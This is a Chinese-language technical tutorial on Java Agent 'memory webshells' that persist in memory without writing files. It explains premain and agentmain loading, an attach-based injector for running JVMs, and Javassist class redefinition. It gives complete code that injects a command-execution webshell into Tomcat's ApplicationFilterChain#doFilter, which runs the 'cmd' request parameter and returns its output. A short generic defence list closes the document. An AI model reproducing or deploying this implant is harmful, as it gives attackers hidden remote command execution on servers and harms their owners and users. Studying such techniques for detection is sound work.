Java Agent 内存马技术详解

一、前置原理

内存马类型

内存马主要分为4种类型：

1. Filter型
2. Servlet型
3. Listener型
4. Agent型

Java Agent加载方式

Java Agent支持两种加载方式：

1. premain方法：在JVM启动时进行加载
2. agentmain方法：在JVM启动后进行加载

Java Agent允许构建独立于应用程序的代理程序，可用于监测、运行甚至替换其他JVM上的程序。

关键技术组件

1. VirtualMachine

• 通过此接口可以访问其他JVM实例
• 主要功能：
  • 访问全局VM属性
  • 控制VM执行
  • 查找其他运行的JVM
• 文档参考：VirtualMachine - Java 11中文版

2. Instrumentation

• 用于构建代理程序
• 主要功能：
  • 监测和协助JVM上运行的程序
  • 替换和修改类定义
• 文档参考：Instrumentation - Java 11 API中文版

3. Javassist

• Java字节码操作工具
• 相关资源：
  • Javassist入门指南
  • Javassist中文技术文档
  • javassist使用全解析

二、preMain方式（JVM启动前加载）

实现步骤

1. 编写Agent类：

public class MyPremain {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("MyPremain");
    }
}

2. 构建JAR包：

• 必须修改MANIFEST.MF文件：
  • 将main-class改为premain-class

3. 启动时加载：

java -javaagent:agent.jar -jar target.jar

执行效果

• 恶意JAR会在目标程序启动前执行

三、agentMain方式（JVM启动后加载）

实现步骤

1. 编写Agent类：

public class myAgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain");
    }
}

2. 构建JAR包：

• 修改MANIFEST.MF文件：

Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain

3. 编写注入器：

public static void main(String[] args) throws IOException, AttachNotSupportedException {
    List<VirtualMachineDescriptor> list = VirtualMachine.list();
    for (VirtualMachineDescriptor vmDesc : list) {
        if(vmDesc.displayName().equals("com.agent.Main")){
            VirtualMachine attach = VirtualMachine.attach(vmDesc);
            try {
                attach.loadAgent("agent.jar路径");
            } catch (AgentLoadException | AgentInitializationException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

4. 依赖配置：

• 需要添加tools.jar依赖

执行效果

• 可以在目标JVM运行时注入恶意代码

四、内存马实现

中间件注入可行性

• 测试表明可以在Tomcat等中间件中成功注入

关键实现步骤

1. 获取可修改类：

Class[] classes = inst.getAllLoadedClasses();

2. 寻找合适的注入点：

• 必须满足两个条件：
  • 该方法一定会被执行
  • 不会影响正常的业务逻辑

3. 推荐注入点：

• ApplicationFilterChain#doFilter
• HttpServlet#service
• 这些方法封装了用户请求的request和response

完整Agent实现

public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
    Class[] classes = inst.getAllLoadedClasses();
    for (Class aClass : classes) {
        if (aClass.getName().equals("目标类名")) {
            // 创建类池
            ClassPool classPool = ClassPool.getDefault();
            ClassClassPath classPath = new ClassClassPath(aClass);
            classPool.insertClassPath(classPath);
            
            CtClass ctClass = classPool.get(aClass.getName());
            CtMethod service = ctClass.getDeclaredMethod("service");
            
            // 插入恶意代码
            service.insertBefore("恶意代码");
            
            ctClass.detach();
            byte[] bytecode = ctClass.toBytecode();
            inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)});
            System.out.println("注入成功");
        }
    }
}

具体攻击示例（注入ApplicationFilterChain）

public class myAgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
        CtMethod service = ctClass.getDeclaredMethod("doFilter");
        
        String toInsert = "javax.servlet.http.HttpServletRequest req = request;\n" +
            "javax.servlet.http.HttpServletResponse res = response;\n" +
            "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
            "if (cmd != null){\n" +
            " try {\n" +
            "   java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
            "   java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
            "   String line;\n" +
            "   StringBuilder sb = new StringBuilder(\"\");\n" +
            "   while ((line=reader.readLine()) != null){\n" +
            "     sb.append(line).append(\"\\n\");\n" +
            "   }\n" +
            "   response.getOutputStream().print(sb.toString());\n" +
            "   response.getOutputStream().flush();\n" +
            "   response.getOutputStream().close();\n" +
            " } catch (Exception e){\n" +
            "   e.printStackTrace();\n" +
            " }\n" +
            "}";
            
        service.insertBefore(toInsert);
        byte[] bytecode = ctClass.toBytecode();
        inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
        System.out.println("注入成功");
    }
}

五、防御措施

1. JVM参数防护：

   • 限制JVM附加能力
   • 使用安全管理器

2. 代码审计：

   • 检查可疑的JAR文件
   • 监控Instrumentation API的使用

3. 运行时防护：

   • 使用RASP解决方案
   • 监控类加载行为

4. 网络防护：

   • 限制内部网络访问
   • 实施严格的网络隔离

六、总结

Java Agent内存马是一种高级攻击技术，具有以下特点：

• 无文件落地
• 难以通过传统安全设备检测
• 可在运行时动态注入
• 对中间件具有普遍适用性

防御此类攻击需要从开发、部署到运行时的全方位防护策略。